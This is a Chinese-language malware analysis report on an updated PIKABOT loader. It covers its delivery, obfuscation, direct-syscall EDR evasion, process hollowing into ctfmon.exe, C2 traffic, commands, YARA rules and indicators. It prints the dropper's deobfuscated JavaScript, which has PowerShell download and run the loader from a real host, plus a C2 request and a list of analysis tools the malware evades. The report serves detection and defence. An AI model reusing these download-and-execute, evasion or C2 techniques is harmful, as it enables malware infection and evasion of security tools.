PIKABOT 概览
PIKABOT 是一种广泛部署的加载器,恶意行为者利用它来分发 Cobalt Strike 等有效载荷或启动勒索软件。 2 月 8 日,Elastic 安全实验室团队观察到新的 PIKABOT 活动,其中包括更新的变体。 此版本的 PIKABOT 加载器采用了新的解包方法和重度混淆。 核心模块添加了新的字符串解密实现、混淆功能的更改以及其他各种修改。
这篇文章将重点介绍初始活动,分解新的加载器功能,并回顾核心组件。 我们认为,这次更新中有一些有趣的设计选择,这是一个新代码库的开始,随着时间的推移,它将得到进一步的改进。 虽然功能与以前的版本类似,但这些新更新可能会破坏签名和以前的工具。
在这项研究的开发过程中,Zscaler 的 ThreatLabz 团队对与本文中重叠的样本进行了出色的分析和见解。 我们建议阅读他们的作品以及我们的作品,以全面了解这些 PIKABOT 变化。
关键要点
- 新的活动涉及对 PIKABOT 装载机和核心组件的重大更新
- PIKABOT 加载程序使用一种新的解包技术,将来自
.data
部分的 base64 格式的加密数据分散地组合起来 - 核心的变化包括淡化混淆和内联 RC4 函数、运行时的纯文本配置、网络通信期间的 AES 删除
- PIKABOT 的开发工作仍在进行中,未来可能会推出更新
- 使用 Elastic Security 的调用堆栈可见性可以快速分类 PIKABOT 等威胁
PIKABOT 活动概述
新年伊始,PIKABOT 分销一直处于停顿状态,直到大约两周前。 2 月 8 日的这次新活动涉及带有超链接的电子邮件,这些超链接指向包含恶意混淆的 Javascript 脚本的 ZIP 存档文件。
下面是混淆的 JavaScript 文件的内容,显示了使用 PowerShell 下载并执行 PIKABOT 加载器的下一步序列。
// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
var obj = new ActiveXObject("WScript.Shell")
obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}
PIKABOT 装载机
加载器第 1 阶段
为了显得真实,开发人员篡改了此存储库中名为grepWinNP3.exe
的合法搜索和替换工具。 使用我们的内部沙盒项目( Detonate )并利用 Elastic Defend 的调用堆栈功能提供了执行的详细跟踪,使我们能够精确定位恶意代码的入口点。
对调用堆栈数据的分析表明,执行从恶意文件中偏移量0x81aa7
之前的调用开始;然后,执行跳转到偏移量0x25d84
之前的调用处的内存分配。 此外,我们还观察到,由于通过驻留在未备份内存中的 shellcode 执行使用了系统调用,因此进程创建调用堆栈缺少对KernelBase.dll!CreateProcessInternalW
和ntdll.dll!NtCreateUserProcess
正常调用。 通过使用此实现,它将绕过 WOW64 模块上的用户模式挂钩以逃避 EDR 产品。
查看恶意文件的偏移量0x81aa7
,并与grepWinNP3.exe
文件的已验证良性版本进行并行代码比较,我们发现了一些独特且不寻常的东西:用于执行 PIKABOT 加载程序的硬编码地址,这标志着 PIKABOT 加载程序的入口点。
恶意代码采用了重度混淆技术,在每个汇编指令后都跟有一个跳转( JMP
)的技术。 这种方法会破坏简单的执行流程,从而大大增加分析的复杂度。
加载器从.text
部分提取其阶段 2 有效负载,并将其存储在0x94
字节块中,然后再合并各部分。 然后,它采用一种看似自定义的解密算法,该算法利用按位运算。
该过程的下一步是在当前执行的进程范围内反射性地加载 PE 文件。 该技术涉及将 PE 文件的内容动态加载到内存中并执行它,而无需将文件物理写入磁盘。 该方法不仅通过消除外部文件交互的必要性简化了执行过程,而且还通过最大限度地减少留在主机系统上的数字足迹显著提高了隐身性。
加载程序第 2 阶段
阶段 2 加载器的任务是在新建立的进程中初始化 PIKABOT 核心,它采用了与核心本身类似的代码和字符串混淆技术。 除了混淆功能外,该加载器还采用了一系列先进的反调试对策。
反调试
该恶意软件利用特定的 NTDLL Zw
API 执行各种操作,包括调试器检测、进程创建和注入,旨在避开检测机制的监视并逃避 EDR(端点检测和响应)用户空间挂钩以及调试尝试。
它直接执行系统调用,绕过更容易受到监视和拦截的常规 API 调用。 它使用一个包装函数来促进 64 位模式下系统调用的执行,该函数以Zw
API 名称的哈希值作为参数。
包装函数通过解析已加载的 NTDLL 并匹配Zw
函数名称的哈希值来提取系统调用 ID。 找到正确的系统调用 ID 后,它使用Wow64Transition
Windows API 以 64 位模式执行系统调用。
请注意,在调用包装器之前,所需的参数会被推送到堆栈上,以下示例展示了将ProcessInformationClass
设置为ProcessDebugPort
(7) 的ZwQueryInformationProcess
调用:
该恶意软件采用了一系列反调试技术,旨在阻止调试和取证工具的检测。 这些技术包括:
- 使用
SystemKernelDebuggerInformation
参数调用ZwQuerySystemInformation
来检测内核调试器是否存在。 - 调用
ZwQueryInformationProcess
并将ProcessInformationClass
设置为ProcessDebugPort
来识别与该进程相关的任何调试端口。 - 再次调用
ZwQueryInformationProcess
,但将ProcessInformationClass
设置为ProcessDebugFlags
参数,以确定该进程是否已标记为需要调试。 - 检查进程环境块 (PEB) 中的
BeingDebugged
标志,该标志指示进程当前是否正在被调试。 - 使用
GetThreadContext
检测硬件断点。 扫描当前正在运行的进程列表以识别任何活动的调试或取证工具。
有趣的是,我们发现了一个错误,它检查的一些进程名称的第一个字节被清零,这可能表明恶意软件作者出现了错误,或者混淆工具增加了不必要的副作用。 可以在本文末尾找到检查的进程名称的完整列表。
执行
加载程序使用 NTDLL 和 KERNEL32 库中的基本 API 地址填充全局变量。 此步骤对于恶意软件的运行至关重要,因为这些地址是执行后续任务所必需的。 请注意,加载器采用了不同的 API 名称哈希算法,与之前用于Zw
API 的算法不同。
以下是重建的结构:
struct global_variable
{
int debugger_detected;
void* LdrLoadDll;
void* LdrGetProcedureAddress;
void* RtlAllocateHeap;
void* RtlFreeHeap;
void* RtlDecompressBuffer;
void* RtlCreateProcessParametersEx;
void* RtlDestroyProcessParameters;
void* ExitProcess;
void* CheckRemoteDebuggerPresent;
void* VirtualAlloc;
void* GetThreadContext;
void* VirtualFree;
void* CreateToolhelp32Snapshot;
void* Process32FirstW;
void* Process32NextW;
void* ntdll_module;
void* kernel32_dll;
int field_48;
uint8_t* ptr_decrypted_PIKABOT_core;
int decrypted_PIKABOT_core_size;
TEB* TEB;
};
加载器结构
然后,恶意软件会将分散在.data
部分中的 PIKABOT 核心字节合并为 base64 编码的块,与从其资源部分加载一组 PNG 的先前版本相比,这一点值得注意。
它执行一系列不同的函数,每个函数执行类似的操作,但带有不同的参数。 每个函数都使用利用看似合法的字符串的在线过程来解密 RC4 密钥。 然后,该函数对每个块进行 base64 解码,然后解密字节。
合并解密的字节后,它使用RtlDecompressBuffer
API 对其进行解压缩。
加载程序使用ZwCreateUserProcess
系统调用创建ctfmon.exe
的暂停实例,这是一种旨在伪装成合法 Windows 进程的策略。 接下来,它通过ZwAllocateVirtualMemory
系统调用远程分配一个大的内存区域来存放 PIKABOT 核心的 PE 文件。
随后,加载器使用ZwWriteVirtualMemory
系统调用将 PIKABOT 核心写入新分配的内存区域。 然后,它通过调用SetContextThread
API 来更改线程的执行地址,将执行流从ctfmon.exe
重定向到恶意 PIKABOT 核心。 最后,它使用ZwResumeThread
系统调用恢复线程。
PIKABOT 核心
更新后的 PIKABOT 核心的整体行为和功能与以前的版本类似:机器人从受害者机器收集初始数据,并向威胁行为者提供命令和控制访问权限,以实现后期攻击行为,例如命令行执行、发现或通过注入启动其他有效载荷。
显著的差异包括:
- 使用更少内联函数的新型混淆方式
- 解密字符串的多种实现
- 运行时纯文本配置,去除JSON格式
- 网络通信采用RC4加字节交换,删除AES
混淆
最明显的区别之一集中在 PIKABOT 的混淆上。 此版本包含的二进制文件明显不那么模糊,但提供了与旧版本熟悉的感觉。 新更新后,内联的 RC4 功能不再大量存在,只剩下少数几个。 不幸的是,全局变量和垃圾指令仍然存在大量的混淆。
下面是在实际恶意软件代码之间插入垃圾代码的典型示例,其目的仅仅是为了延长分析时间并增加混乱。
字符串解密
如前所述,仍有一些内联 RC4 函数用于解密字符串。 在以前的版本中,核心使用 base64 编码作为附加步骤,结合使用 AES 和 RC4 来模糊字符串;在这个核心版本中,我们还没有看到用于字符串解密的 base64 编码或 AES。
这是用于解密硬编码互斥锁的剩余内联 RC4 函数的一个实例。 在此版本中,PIKABOT 继续使用合法字符串作为 RC4 密钥来解密数据。
在这个新版本中,PIKABOT 通过使用堆栈字符串并将各个字符以随机顺序放入数组中,包含了一种不同的字符串混淆实现。 下面是使用netapi32.dll
的示例:
反调试
在此版本的反调试方面,PIKABOT 在使用CheckRemoteDebuggerPresent
的同时还检查 PEB 中的BeingDebuggedFlag
。 在我们的示例中,如果附加了调试器,则会返回硬编码值( 0x2500
)。 不幸的是,这些检查并不集中在一个地方,而是分散在整个二进制文件的不同地方,例如在发出网络请求之前。
执行
在执行和整体行为方面,PIKABOT 的核心紧密遵循旧版本的执行流程。 执行时,PIKABOT 会解析 PEB 并使用 API 哈希来解析运行时所需的库。 接下来,它使用GetUserDefaultLangID
验证语言标识符来验证受害者机器。 如果将LangID
设置为俄语( 0x419
)或乌克兰语( 0x422
),恶意软件将立即停止执行。
语言检查后,PIKABOT 会创建互斥锁,以防止在同一台机器上再次感染。 我们的示例使用了以下互斥锁: {6F70D3AF-34EF-433C-A803-E83654F6FD7C}
接下来,恶意软件将使用系统卷号以及主机名和用户名从受害机器生成 UUID。 然后,PIKABOT 将生成一个由RtlRandomEx
播种的唯一 RC4 密钥,然后将该密钥放入配置结构中,以便稍后在其网络通信中使用。
初始收藏
下一阶段涉及收集受害者机器信息并将数据放入自定义结构中,然后在初始签到请求后加密并发送出去。 以下操作用于对受害者及其网络进行指纹识别:
- 检索与 PIKABOT 线程关联的用户的名称
- 检索计算机名称
- 获取处理器信息
- 使用以下方式获取显示设备信息
EnumDisplayDevicesW
- 使用以下方法检索域控制器信息
DsGetDcNameW
- 使用以下方法收集物理和虚拟内存的当前使用情况
GlobalMemoryStatusEx
- 使用
GetWindowRect
获取用于识别沙盒环境的窗口尺寸 - 使用以下方式检索 Windows 操作系统产品信息
RtlGetVersion
- 使用
CreateToolhelp32Snapshot
检索流程信息
Config
此新版本中一个奇怪的开发决定是关于恶意软件配置的。 在运行时,配置是纯文本,位于内存中的一个位置。 这最终会在记忆中被抹去。 我们相信这种情况只会暂时持续,因为以前的版本保护了配置,并且在处理流行的恶意软件家族时这已成为标准期望。
网络
PIKABOT 使用用户代理Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
在非传统端口(2967、2223 等)上通过 HTTPS 执行网络通信。 PIKABOT 核心模块的版本号与配置连接在一起,可以在加密的网络请求中传递,我们分析的版本标记为1.8.32-beta
。
在向 C2 服务器发出初始登录请求时,PIKABOT 会注册机器人,同时发送之前收集的使用 RC4 加密的信息。 RC4 密钥在此初始数据包中以偏移量 ( 0x10
) 发送。 如前所述,PIKABOT 不再在其网络通信中使用 AES。
POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967
00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...
PIKABOT 初始登记请求
对于每个出站网络请求,PIKABOT 会随机选择以下 URI 之一:
/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list
PIKABOT C2 请求中使用的 URI 列表
与以前的版本不同,以前的版本使用 JSON 以结构化格式放置受害者数据,而这些请求中的数据是原始字节。 前 16 个字节用于传递特定的配置信息(机器人命令ID、字节移位等)。 接下来的 32 个字节嵌入了会话的 RC4 密钥,然后在请求中跟随加密数据。
还有一个额外的转换,开发人员添加了在运行时发生的随机字节移位。 以下示例请求中偏移量 ( 0xF
) 处的数字 ( 0x18
) 表示从加密数据末尾移动到加密数据开头的字节数。 在我们的示例中,为了成功解密数据,最后的 18 字节需要放在字节 ( 0xDA 0x9E
) 前面。
机器人功能
就核心机器人功能而言,它与以前的版本类似:执行命令,执行发现,以及进程注入功能。 从我们的角度来看,它看起来仍像是一项正在进行的工作。 一个命令 ID( 0x982
)是一个空函数,在另一种情况下,有三个唯一的命令 ID 指向同一个函数。 这些表明该软件还不够完整。
命令ID | 描述 |
---|---|
0x1FED | 信标超时 |
0x1A5A | 退出 PIKABOT 进程 |
0x2672 | 包括混淆,但似乎没有做任何有意义的事情 |
0x246F | 在磁盘上创建文件并修改与配置相关的注册表 |
0xACB | 带输出的命令行执行 |
0x36C | 远程进程中的 PE 注入 |
0x792 | Shellcode 注入远程进程 |
0x359, 0x3A6, 0x240 | 命令行执行类似于 0xACB,使用自定义错误代码(0x1B3) |
0x985 | 进程枚举,类似于初始受害者集合枚举 |
0x982 | 空函数 |
恶意软件和 MITRE ATT&CK
Elastic 使用MITRE ATT&CK框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。
战术
策略代表了技术或子技术的原因。 这是对手的战术目标:采取行动的原因。
技术
技术代表对手如何通过采取行动来实现战术目标。
检测恶意软件
预防
雅拉
Elastic Security 已创建 YARA 规则来识别此活动。 以下是识别PIKABOT的 YARA 规则:
rule Windows_Trojan_Pikabot_5441f511 {
meta:
author = "Elastic Security"
creation_date = "2024-02-15"
last_modified = "2024-02-15"
license = "Elastic License v2"
description = "Related to PIKABOT core"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.PIKABOT"
strings:
$handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
$api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
$debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
$checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
$read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
condition:
2 of them
}
rule Windows_Trojan_Pikabot_95db8b5a {
meta:
author = "Elastic Security"
creation_date = "2024-02-15"
last_modified = "2024-02-15"
license = "Elastic License v2"
description = "Related to PIKABOT loader"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.PIKABOT"
strings:
$syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
$syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
$payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
$loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
condition:
2 of them
}
观察结果
所有可观察数据均可采用 ECS 和 STIX 格式下载。
本研究讨论了以下可观察的结果。
Observable | 类型 | 名称 | 参考 |
---|---|---|---|
2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b | SHA-256 | Opc.zip | 包含混淆的 Javascript 的 Zip 存档 |
ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d | SHA-256 | grepWinNP3.exe | PIKABOT 装载机 |
139.84.237[.]229:2967 | IPv4 地址 | PIKABOT C2 服务器 | |
85.239.243[.]155:5000 | IPv4 地址 | PIKABOT C2 服务器 | |
104.129.55[.]104:2223 | IPv4 地址 | PIKABOT C2 服务器 | |
37.60.242[.]85:9785 | IPv4 地址 | PIKABOT C2 服务器 | |
95.179.191[.]137:5938 | IPv4 地址 | PIKABOT C2 服务器 | |
65.20.66[.]218:5938 | IPv4 地址 | PIKABOT C2 服务器 | |
158.220.80[.]157:9785 | IPv4 地址 | PIKABOT C2 服务器 | |
104.129.55[.]103:2224 | IPv4 地址 | PIKABOT C2 服务器 | |
158.220.80[.]167:2967 | IPv4 地址 | PIKABOT C2 服务器 | |
entrevientos.com[.]ar | 域 | 托管用于 zip 存档的基础设施 | |
gloverstech[.]com | 域 | PIKABOT 加载程序的托管基础设施 |
参考资料
上述研究参考了以下内容:
- https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT
- https://x.com/Cryptolaemus1/status/1755655639370514595?s=20
附录
Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe
x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe
PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe
ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe